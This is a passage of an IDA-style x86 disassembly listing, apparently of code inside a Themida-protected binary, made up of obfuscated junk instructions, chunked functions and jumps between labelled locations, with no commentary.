mov [esp+4Ah+var_4A], esp
jmp loc_55CD02
; ---------------------------------------------------------------------------
loc_555058: ; CODE XREF: sub_559C84-29C3j
add esp, 4
add esi, ebp
jmp loc_55D812
; ---------------------------------------------------------------------------
loc_555062: ; CODE XREF: sub_559C84-6657j
mov edi, 2D622528h
xchg ecx, edi
not ecx
xchg ecx, edi
inc edi
dec edi
sub edi, 0FFFFFFFFh
add edi, 1
add edi, 940226A2h
mov ecx, edi
pop edi
jmp loc_55F842
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_555089 proc near ; CODE XREF: sub_559C84-4CC2j
push ebp
mov ebp, 7F590390h
add edx, ebp
pop ebp
mov esi, [esp+0]
add esp, 4
jmp loc_55351F
sub_555089 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5550A0: ; CODE XREF: sub_559C84-4118j
push esi
push 761C19B0h
pop esi
or esi, 59AC2363h
jmp loc_55F46D
; ---------------------------------------------------------------------------
loc_5550B2: ; CODE XREF: sub_559C84-345j
and eax, 5F301B95h
or eax, 7C1347Bh
jmp loc_55429D
; ---------------------------------------------------------------------------
loc_5550C1: ; CODE XREF: sub_559C84+207Aj
mov eax, 25486A49h
not eax
or eax, 7515176h
add eax, 7BE20B7Dh
jmp loc_55BFF8
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_5550D7: ; DATA XREF: Themida_:00553278o
xor [esp], ax
xor ax, [esp]
xor [esp], ax
sub esp, 2
mov [esp], ax
push dx
push small word ptr [esp+2]
pop dx
pop small word ptr [esp]
push dx
xchg ax, [esp]
xchg ax, bx
not bx
jmp loc_5545D5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_555107: ; CODE XREF: sub_559C84-5CBBj
dec edx
jmp loc_55C31F
; ---------------------------------------------------------------------------
loc_55510D: ; CODE XREF: sub_559C84-B3Bj
mov edi, ecx
pop ecx
jmp loc_55A6FF
; ---------------------------------------------------------------------------
loc_555115: ; CODE XREF: sub_559C84+5B34j
xchg ebx, [esp-0Ah+arg_4+2]
pop esp
and eax, ebp
jmp loc_55A05A
; ---------------------------------------------------------------------------
loc_555120: ; CODE XREF: sub_559C84-17Cj
xor eax, edi
xor edi, eax
shl edi, 8
xor edi, 3D0D2E00h
and eax, edi
mov edi, [esp-0Eh+arg_8+2]
jmp loc_55F16B
; ---------------------------------------------------------------------------
loc_555137: ; CODE XREF: sub_559C84+208Aj
add ebp, edi
sub ebp, 65732130h
pop edi
push 371Dh
mov [esp-0Eh+arg_8+2], ebx
mov ebx, 2
add ebp, ebx
pop ebx
push edi
jmp loc_557A6F
; ---------------------------------------------------------------------------
loc_555156: ; CODE XREF: sub_559C84+2F5j
mov esi, ebp
pop ebp
jmp loc_557183
; ---------------------------------------------------------------------------
loc_55515E: ; CODE XREF: sub_559C84+D5Cj
add edi, 4
add edi, 4
jmp loc_556885
; ---------------------------------------------------------------------------
loc_55516C: ; CODE XREF: sub_559C84+3636j
not ecx
or ecx, 2B3938C7h
sub ecx, 0FFFFFCEBh
jmp loc_55EE2B
; ---------------------------------------------------------------------------
loc_55517F: ; CODE XREF: sub_559C84-4D7Ej
mov byte ptr [esp+4Eh+var_4A], ah
pop eax
pop ecx
jmp loc_558DC1
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
mov ecx, [esp]
push ebp
jmp loc_55C412
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_555193: ; CODE XREF: sub_559C84+4B37j
push [esp+46h+var_46]
pop edi
add esp, 4
and ecx, 1F937B3Dh
jmp loc_55B892
; ---------------------------------------------------------------------------
loc_5551A5: ; CODE XREF: sub_559C84+3342j
pop edx
shr edx, 7
add edx, 7C8D6C29h
add edx, 0B5C27F94h
mov ecx, edx
jmp loc_55BD38
; ---------------------------------------------------------------------------
loc_5551BC: ; CODE XREF: sub_559C84+2EFDj
sub [esp+3Eh+var_3E], 49A0615Eh
mov eax, [esp+3Eh+var_3E]
jmp sub_55598B
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5547B0
loc_5551CB: ; CODE XREF: sub_5547B0+4j
mov esi, 20011E8Ch
dec esi
add esi, 0DFFEE179h
add ebp, 2724257Dh
add ebp, esi
sub ebp, 2724257Dh
pop esi
push esi
push eax
push ecx
mov ecx, 10A31163h
xor ecx, 19B3799Ch
mov eax, ecx
pop ecx
mov esi, 7D276D2Ah
jmp loc_556C4E
; END OF FUNCTION CHUNK FOR sub_5547B0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_555201: ; CODE XREF: sub_559C84-2931j
push dword ptr [eax]
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_555208: ; CODE XREF: sub_559C84+4CEj
xor [esp+42h+var_42], ebp
xor ebp, [esp+42h+var_42]
mov esp, [esp+42h+var_42]
imul ecx
push 3D3Bh
mov [esp+46h+var_46], ebp
push esp
pop ebp
push esi
mov esi, 4
sub ebp, 4A77773Eh
add ebp, esi
add ebp, 4A77773Eh
mov esi, [esp+4Ah+var_4A]
push 242Ah
jmp loc_5566EC
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_55523E proc near ; CODE XREF: sub_559C84-3F2j
push bx
mov bh, 0B0h
jmp loc_55A684
sub_55523E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_555247: ; CODE XREF: sub_559C84-E9Dj
mov ebx, 4
jmp loc_555350
; ---------------------------------------------------------------------------
loc_555251: ; CODE XREF: sub_559C84+5DD1j
xchg eax, [esp+4Eh+var_4E]
mov esp, [esp+4Eh+var_4E]
or byte ptr [esp+4Eh+var_4E], al
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_555260: ; CODE XREF: sub_559C84-454j
mov esi, esp
add esi, 4
jmp loc_559B54
; ---------------------------------------------------------------------------
loc_55526D: ; CODE XREF: sub_559C84+5C6Aj
xor ecx, eax
pop eax
add eax, 46536CD3h
jmp loc_5569A5
; ---------------------------------------------------------------------------
loc_55527A: ; CODE XREF: sub_559C84+1F23j
mov bl, 0F8h
mov al, 0D8h
jmp loc_55E3D5
; ---------------------------------------------------------------------------
loc_555283: ; CODE XREF: sub_559C84-3C54j
push ecx
push edx
pop ecx
mov ebx, ecx
push [esp+52h+var_52]
pop ecx
push ecx
mov ecx, esp
jmp loc_558390
; ---------------------------------------------------------------------------
loc_555294: ; CODE XREF: sub_559C84-46Aj
push edx
push edi
push 8143DFh
pop edi
jmp loc_556D66
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E640
loc_5552A1: ; CODE XREF: sub_55E640+Ej
sub ecx, 312536B2h
shr ecx, 3
add ecx, 67F41474h
push ebp
mov ebp, 713C4B23h
inc ebp
not ebp
or ebp, 583D379Bh
or ebp, 11D42E76h
jmp loc_559EBE
; END OF FUNCTION CHUNK FOR sub_55E640
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5552CA: ; CODE XREF: sub_559C84-483Cj
mov [esp+5Eh+var_60+2], edx
push esi
mov esi, 52A94C13h
shr esi, 6
jmp loc_557CB1
; ---------------------------------------------------------------------------
loc_5552DB: ; CODE XREF: sub_559C84+1B0Ej
xor byte ptr [esp+62h+var_64+2], al
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_5552E4: ; CODE XREF: sub_559C84-5F5Ej
add ebp, 4
sub ebp, 4
xchg ebp, [esp+20h+var_20]
jmp loc_556839
; ---------------------------------------------------------------------------
loc_5552F5: ; CODE XREF: sub_559C84-6389j
add bl, 9
jmp loc_55BC08
; ---------------------------------------------------------------------------
loc_5552FD: ; CODE XREF: sub_559C84+2303j
push 5EFAh
mov [esp+4Ch+var_4E+2], ebx
mov ebx, 340F3BABh
push esi
mov esi, 1A543B1h
shr esi, 7
or esi, 6C143EFAh
push eax
mov eax, offset byte_5B067F
xor esi, eax
pop eax
or ebx, esi
pop esi
inc ebx
inc ebx
push eax
mov eax, 3BAF23DEh
sub eax, 0BDAA1026h
add ebx, eax
pop eax
push edx
mov edx, 74B9294Bh
or edx, 6E640196h
shr edx, 3
jmp loc_557CDC
; ---------------------------------------------------------------------------
loc_555349: ; CODE XREF: sub_559C84-2627j
mov dh, 4Ah
jmp loc_55643C
; ---------------------------------------------------------------------------
loc_555350: ; CODE XREF: sub_559C84-4A38j
add ecx, ebx
pop ebx
push 3FCAh
jmp loc_5542C5
; ---------------------------------------------------------------------------
loc_55535D: ; CODE XREF: sub_559C84+88Bj
push edx
mov dh, bl
not dh
jmp loc_55B545
; ---------------------------------------------------------------------------
loc_555367: ; CODE XREF: sub_559C84+5D9Cj
sub eax, 77B779D3h
add eax, 220F55h
sub eax, edi
sub eax, 220F55h
push ebp
jmp loc_55B8EE
; ---------------------------------------------------------------------------
loc_55537E: ; CODE XREF: sub_559C84-55CDj
xchg ebx, [esp+3Ch+var_3E+2]
mov esp, [esp+3Ch+var_3E+2]
mov [esp+3Ch+var_3E+2], esi
push esp
pop esi
jmp loc_55DADE
; ---------------------------------------------------------------------------
loc_55538E: ; CODE XREF: sub_559C84-432j
sub edi, 665B788Bh
jmp loc_558B45
; ---------------------------------------------------------------------------
loc_555399: ; CODE XREF: sub_559C84+3FE2j
add esp, 4
push eax
jmp sub_558204
; ---------------------------------------------------------------------------
loc_5553A2: ; CODE XREF: sub_559C84-3EBj
pop edi
add esi, eax
add esi, 0C1A6D1Bh
pop eax
xchg esi, [esp+34h+var_34]
pop esp
cmp cl, al
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_5553B8: ; CODE XREF: sub_559C84-4DBFj
xchg edx, [esp+4Ch+var_4E+2]
mov esp, [esp+4Ch+var_4E+2]
push 0A3h
mov [esp+50h+var_52+2], eax
jmp loc_55351F
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_5553CB proc near ; CODE XREF: sub_559C84+93Fj
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00557E31 SIZE 0000001C BYTES
sub esp, 4
mov [esp+4+var_4], edi
mov edi, 0F213F485h
jmp loc_557E31
sub_5553CB endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5553DB: ; CODE XREF: sub_559C84-372Ej
sub ecx, edi
pop edi
push ebx
mov ebx, ecx
mov eax, ebx
pop ebx
pop ecx
jmp sub_5597C1
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_5553EA proc near ; CODE XREF: sub_559C84-220j
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0055785C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055E1E9 SIZE 00000010 BYTES
push ebx
mov ebx, 4
jmp loc_55785C
sub_5553EA endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5553F5: ; CODE XREF: sub_559C84+4630j
sub bl, 0FAh
sub dh, 14h
sub dh, bl
add dh, 14h
mov ebx, [esp+48h+var_4A+2]
add esp, 4
add bl, dh
pop edx
sub bl, 41h
jmp loc_556D74
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5591C7
loc_555414: ; CODE XREF: sub_5591C7-5027j
mov edi, 54C922CBh
neg edi
sub edi, 79188614h
jmp loc_557632
; END OF FUNCTION CHUNK FOR sub_5591C7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_555426: ; CODE XREF: sub_559C84+428j
add esi, eax
pop eax
sub esp, 4
mov [esp+40h+var_42+2], esi
sub [esp+40h+var_42+2], 74473CD7h
push [esp+40h+var_42+2]
pop edi
add esp, 4
push 7283h
jmp loc_5552CA
; ---------------------------------------------------------------------------
loc_55544D: ; CODE XREF: sub_559C84-107j
add edx, 2
xor edx, [esp+40h+var_42+2]
jmp loc_55CC0A
; ---------------------------------------------------------------------------
loc_55545B: ; CODE XREF: sub_559C84+3F22j
pop esp
push esi
push 3D1Ch
mov [esp+44h+var_46+2], esp
jmp loc_557F1F
; ---------------------------------------------------------------------------
loc_55546A: ; CODE XREF: sub_559C84+42EEj
sub esi, 6B736177h
jmp loc_55D61A
; ---------------------------------------------------------------------------
loc_555475: ; CODE XREF: sub_559C84-1F04j
add edx, 2
jmp loc_5558ED
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55547D: ; CODE XREF: Themida_:00553951j
add esp, 4
push 1ECEh
mov [esp], edi
push 30F5h
mov [esp], esp
add dword ptr [esp], 4
pop edi
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_55A17B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5554AD: ; CODE XREF: sub_559C84-4146j
add ecx, 4
xchg ecx, [esp+44h+var_46+2]
pop esp
sub esp, 4
jmp loc_55D931
; ---------------------------------------------------------------------------
loc_5554BC: ; CODE XREF: sub_559C84-5B51j
pop eax
push edx
jmp loc_55EE15
; ---------------------------------------------------------------------------
loc_5554C3: ; CODE XREF: sub_559C84-167Cj
push eax
mov al, 0F3h
jmp loc_558804
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_5554CB: ; CODE XREF: Themida_:00558ED7j
pop edx
sub ch, 1
push edx
mov dl, 2Fh
add dl, 16h
and ch, dl
pop edx
shl ch, 3
push edx
mov dh, 68h
sub dh, 1
sub dh, 0E1h
xor dh, 2Bh
push cx
jmp loc_558117
; ---------------------------------------------------------------------------
loc_5554EE: ; CODE XREF: Themida_:00558BE0j
add edx, 4
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
jmp loc_55E499
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55550C: ; CODE XREF: sub_559C84+367Fj
sub dh, cl
jmp loc_55EE52
; ---------------------------------------------------------------------------
loc_555513: ; CODE XREF: sub_559C84+34A3j
xor [esp+0Ch+var_C], 96F4C55h
pop eax
sub esp, 4
mov [esp+0Ch+var_C], ecx
jmp loc_55A427
; ---------------------------------------------------------------------------
loc_555529: ; CODE XREF: sub_559C84-46FBj
shr ch, 8
jmp loc_55DFFC
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_555531 proc near ; CODE XREF: sub_559C84-557Bj
; FUNCTION CHUNK AT 0055397D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00558791 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055E783 SIZE 00000007 BYTES
push ebp
jmp loc_558791
sub_555531 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_555537: ; CODE XREF: sub_559C84+1960j
mov ecx, [esp+0Ch+var_C]
add esp, 4
xor ebx, eax
jmp loc_557D33
; ---------------------------------------------------------------------------
loc_555544: ; CODE XREF: sub_559C84+2FA7j
push [esp+8+var_4]
pop edx
pop [esp+8+var_8]
jmp loc_55C369
; ---------------------------------------------------------------------------
loc_555551: ; CODE XREF: sub_559C84+2696j
push esp
pop edx
jmp loc_55C847
; ---------------------------------------------------------------------------
loc_555558: ; CODE XREF: sub_559C84+1223j
mov [esp+4+var_4], ebx
mov ebx, esp
push ecx
mov ecx, 7FEA3F55h
push ebp
mov ebp, 7FEA3F51h
sub ecx, ebp
jmp loc_55E09F
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_555570 proc near ; CODE XREF: sub_559C84-CFj
push ebp
mov ebp, 64D73902h
mov ebx, 0FC7D3873h
add ebx, ebp
pop ebp
jmp loc_55CD1E
sub_555570 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_555583: ; CODE XREF: sub_559C84-38B6j
pop eax
pop edx
pop eax
push ecx
mov ch, 4Fh
jmp loc_555529
; ---------------------------------------------------------------------------
loc_55558E: ; CODE XREF: sub_559C84+21C9j
add esp, 4
and eax, ecx
pop ecx
jmp loc_55F995
; ---------------------------------------------------------------------------
loc_555599: ; CODE XREF: sub_559C84+4014j
inc ebp
xor ebp, 5E9E711Fh
xor edx, ebp
jmp loc_55EEA2
; ---------------------------------------------------------------------------
loc_5555A7: ; CODE XREF: sub_559C84-52C6j
add edx, esi
sub edx, 296C7ECCh
mov esi, [esp+42h+var_42]
add esp, 4
push edx
jmp loc_55899E
; ---------------------------------------------------------------------------
loc_5555BB: ; CODE XREF: sub_559C84+15A6j
push [esp+42h+var_3E]
pop ebp
pop [esp+42h+var_42]
mov esp, [esp+3Eh+var_3E]
mov ax, word ptr [esp+3Eh+var_3E]
push esi
jmp loc_55DFB8
; ---------------------------------------------------------------------------
loc_5555D0: ; CODE XREF: sub_559C84+1A75j
pop ebx
jmp loc_559107
; ---------------------------------------------------------------------------
loc_5555D6: ; CODE XREF: sub_559C84+10ABj
mov edi, esi
push [esp+3Eh+var_3E]
jmp loc_55EC3D
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_5555E0 proc near ; CODE XREF: sub_559C84+28CCj
push ebp
jmp loc_55C454
sub_5555E0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5555E6: ; CODE XREF: sub_559C84+4B7Dj
push edx
mov edx, 2FE90E26h
not edx
push ebx
mov ebx, 3C834709h
add edx, ebx
jmp loc_554FF3
; ---------------------------------------------------------------------------
loc_5555FB: ; CODE XREF: sub_559C84-503Ej
xor eax, [esp+52h+var_52]
pop esp
rol word ptr [esp+4Eh+var_4E], cl
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_555609: ; CODE XREF: sub_559C84+38A3j
or ch, 0E6h
add ch, 0FEh
mov ah, ch
pop ecx
and bh, ah
pop eax
add bh, 39h
mov ch, bh
mov ebx, [esp+4Ah+var_4A]
add esp, 4
xor al, ch
pop cx
sub esp, 4
jmp loc_5560B5
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_555632: ; CODE XREF: Themida_:0055579Cj
pop si
xor si, 7191h
pop ax
jmp loc_553A6A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_555640: ; CODE XREF: sub_559C84+2115j
add eax, 243A0F4Fh
sub eax, 36456E8Ch
jmp loc_553E74
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55564F: ; CODE XREF: Themida_:0055E93Bj
mov [esp], edi
jmp loc_55394A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_555657: ; CODE XREF: sub_559C84+446Aj
sub bl, 51h
push ax
mov al, 0DBh
sub bl, 0B6h
sub bl, al
add bl, 0B6h
pop ax
add bl, 0AEh
sub bl, 13h
jmp loc_553900
; ---------------------------------------------------------------------------
loc_555673: ; CODE XREF: sub_559C84+1B1Bj
mov [esp+48h+var_4A+2], esi
mov esi, 11B91312h
mov ebx, 22B2B05Ah
add ebx, 2F226792h
push esi
mov esi, 9DC38EDh
neg esi
sub esi, 229E5834h
inc esi
jmp loc_55981F
; ---------------------------------------------------------------------------
loc_55569A: ; CODE XREF: sub_559C84+5664j
add bl, 0DCh
jmp loc_557656
; ---------------------------------------------------------------------------
loc_5556A2: ; CODE XREF: sub_559C84+459Aj
push [esp+4Ch+var_4E+2]
pop ebx
jmp loc_556519
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
lodsb
jmp loc_55EA18
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5556B1: ; CODE XREF: sub_559C84-22Dj
add [esp+4Ch+var_4E+2], 4
pop edi
add edi, 4
push edx
push ecx
mov ecx, 4
push ecx
jmp loc_555AD9
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_5556C9 proc near ; CODE XREF: sub_559C84+D87j
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_55A22F
sub_5556C9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5556DF: ; CODE XREF: sub_559C84+3EB9j
pop esi
jmp loc_55DD31
; ---------------------------------------------------------------------------
loc_5556E5: ; CODE XREF: sub_559C84-3450j
mov ecx, 264071FDh
jmp loc_55F28F
; ---------------------------------------------------------------------------
loc_5556EF: ; CODE XREF: sub_559C84-1121j
pop edi
add eax, ecx
pop ecx
shl eax, 4
or eax, 66CC75D8h
add eax, 4E1B0D78h
mov ebp, eax
jmp loc_55CB22
; ---------------------------------------------------------------------------
loc_555707: ; CODE XREF: sub_559C84+47C5j
add esp, 4
shl bh, 5
shl bh, 8
push ecx
push eax
jmp loc_55C809
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55571A: ; CODE XREF: Themida_:005543EBj
xor bl, 0A1h
sub bl, 1
sub bl, 39h
jmp loc_55C13E
; ---------------------------------------------------------------------------
loc_555728: ; CODE XREF: Themida_:00557073j
mov eax, [esp]
add esp, 4
push edi
push esp
mov edi, [esp]
add esp, 4
push eax
mov eax, 4
jmp loc_55D6D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_555744: ; CODE XREF: sub_559C84+580Dj
add ecx, 14ED3850h
jmp loc_553ECB
; ---------------------------------------------------------------------------
loc_55574F: ; CODE XREF: sub_559C84+53BEj
pop ecx
mov eax, [esp+48h+var_4A+2]
jmp loc_557639
; ---------------------------------------------------------------------------
loc_555758: ; CODE XREF: sub_559C84+3133j
mov ebx, 3AE41DCAh
sub ebx, 61971490h
jmp loc_55A72C
; ---------------------------------------------------------------------------
loc_555768: ; CODE XREF: sub_559C84+CC8j
add ebp, 4
xchg ebp, [esp+48h+var_4A+2]
pop esp
shr eax, 18h
xor eax, ecx
xor eax, ebx
xor ebx, eax
xor eax, ebx
push 55F7h
mov [esp+48h+var_4A+2], ebx
not [esp+48h+var_4A+2]
mov ebx, [esp+48h+var_4A+2]
jmp loc_55A748
; ---------------------------------------------------------------------------
loc_555790: ; CODE XREF: sub_559C84+F25j
pop ebx
jmp loc_55586C
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_555796: ; CODE XREF: Themida_:005588E9j
xor word ptr [esp], 7191h
jmp loc_555632
; ---------------------------------------------------------------------------
loc_5557A1: ; CODE XREF: Themida_:00558835j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
jmp loc_55351F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5557B0: ; CODE XREF: sub_559C84-3B0j
push edx
mov edx, 4B34268h
add eax, edx
pop edx
add eax, ebp
jmp loc_55A319
; ---------------------------------------------------------------------------
loc_5557C0: ; CODE XREF: sub_559C84+3911j
mov [esp+44h+var_46+2], edx
jmp loc_553BD3
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_55DE7A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55929E
loc_5557D1: ; CODE XREF: sub_55929E+19j
push dword ptr [esp+4]
jmp loc_55768B
; END OF FUNCTION CHUNK FOR sub_55929E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5557DA: ; CODE XREF: sub_559C84+209Aj
add eax, ebp
pop ebp
pop ebx
push edi
jmp loc_55B9A1
; ---------------------------------------------------------------------------
loc_5557E4: ; CODE XREF: sub_559C84-29A3j
push ecx
push 1207254Fh
pop ecx
push eax
jmp loc_554E60
; ---------------------------------------------------------------------------
loc_5557F1: ; CODE XREF: sub_559C84+1EA6j
pop ecx
and edi, 23472E15h
shr edi, 8
shr edi, 4
add edi, 27B704A8h
and edx, edi
pop edi
shl edx, 5
jmp loc_553679
; ---------------------------------------------------------------------------
loc_55580F: ; CODE XREF: sub_559C84-5736j
sub al, 79h
sub al, 8Fh
jmp loc_55D3F3
; ---------------------------------------------------------------------------
loc_555818: ; CODE XREF: sub_559C84+3C46j
mov [esp+30h+var_30], ecx
mov ecx, eax
mov edx, ecx
jmp loc_55DDAD
; ---------------------------------------------------------------------------
loc_555824: ; CODE XREF: sub_559C84+15ACj
push edi
mov edi, 7FE5FA3h
or edi, 5576264Dh
jmp loc_55B358
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_555835 proc near ; CODE XREF: sub_559C84-121Aj
var_4 = dword ptr -4
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+4+var_4]
pop esp
push ecx
push esp
pop ecx
push ebx
mov ebx, 73CB38D4h
shr ebx, 3
inc ebx
or ebx, 20A72560h
jmp loc_55B3EF
sub_555835 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55585D: ; CODE XREF: sub_559C84+3A30j
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_555862: ; CODE XREF: sub_559C84-54Bj
add eax, 4
jmp loc_558EC7
; ---------------------------------------------------------------------------
loc_55586C: ; CODE XREF: sub_559C84-44F3j
xchg edi, [esp+44h+var_46+2]
pop esp
jmp loc_55C4C5
; ---------------------------------------------------------------------------
loc_555875: ; CODE XREF: sub_559C84-5E15j
xor edx, 41383D49h
shr edx, 8
sub edx, 8B3D94h
add ebp, 3F236D22h
add ebp, edx
sub ebp, 3F236D22h
pop edx
push ebx
mov ebx, 370B776Eh
push edx
mov edx, 34441B7Eh
dec edx
shr edx, 5
jmp loc_55BF40
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_5558A8: ; DATA XREF: Themida_:00553264o
lodsw
push si
push ax
jmp loc_5588E3
; =============== S U B R O U T I N E =======================================
sub_5558B3 proc near ; CODE XREF: sub_559C84-3164j
var_4 = dword ptr -4
push ebp
neg [esp+4+var_4]
pop ebp
jmp loc_55D4E3
sub_5558B3 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5558BD: ; CODE XREF: sub_559C84+36A2j
mov eax, [esp+4+var_4]
push 5ADh
mov [esp+8+var_8], eax
jmp loc_55EFC4
; ---------------------------------------------------------------------------
loc_5558CD: ; CODE XREF: sub_559C84-109Ej
mov esi, esp
jmp loc_559672
; ---------------------------------------------------------------------------
loc_5558D4: ; CODE XREF: sub_559C84+3ACDj
inc dh
sub esp, 4
mov [esp+0Ch+var_C], eax
mov al, 3
jmp loc_55710F
; ---------------------------------------------------------------------------
loc_5558E3: ; CODE XREF: sub_559C84+2981j
xor eax, 5DA2014Ah
jmp loc_55E014
; ---------------------------------------------------------------------------
loc_5558ED: ; CODE XREF: sub_559C84-480Cj
xor edx, [esp+44h+var_46+2]
xor [esp+44h+var_46+2], edx
jmp loc_55C60A
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559A2E
loc_5558F8: ; CODE XREF: sub_559A2E-240Aj
add edi, 4
xchg edi, [esp+4+var_4]
pop esp
add al, bh
push dword ptr [esp+0]
pop ebx
jmp loc_5585C0
; END OF FUNCTION CHUNK FOR sub_559A2E
; =============== S U B R O U T I N E =======================================
sub_55590A proc near ; CODE XREF: sub_559C84+3B35j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00553EA1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00556BC7 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00556F58 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00557588 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005577D4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00558F74 SIZE 0000000D BYTES
push ebp
push 1360h
jmp loc_553EA1
sub_55590A endp
; ---------------------------------------------------------------------------
loc_555915: ; CODE XREF: Themida_:0055443Ej
pop esp
jmp loc_55470E
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
sub esp, 4
mov [esp], ebx
jmp loc_55A532
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55592C: ; CODE XREF: sub_559C84+2B6Cj
sub ebx, ecx
pop ecx
pop dword ptr [eax]
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_555936: ; CODE XREF: sub_559C84-505Ej
xor [esp+46h+var_46], ebx
xor ebx, [esp+46h+var_46]
mov esp, [esp+46h+var_46]
xor [esp+46h+var_46], eax
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_555947: ; CODE XREF: sub_559C84-5977j
add edi, 65CCB13Fh
jmp loc_555978
; ---------------------------------------------------------------------------
loc_555952: ; CODE XREF: sub_559C84-352j
sub eax, 2
xchg eax, [esp-10h+arg_C]
jmp loc_5596F7
; ---------------------------------------------------------------------------
loc_55595D: ; CODE XREF: sub_559C84-2620j
pop edx
jmp loc_559D02
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_555963: ; CODE XREF: Themida_:00555BCAj
add ebx, 2
push ebx
jmp loc_5547A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55596C: ; CODE XREF: sub_559C84-5772j
mov dl, 59h
jmp loc_556242
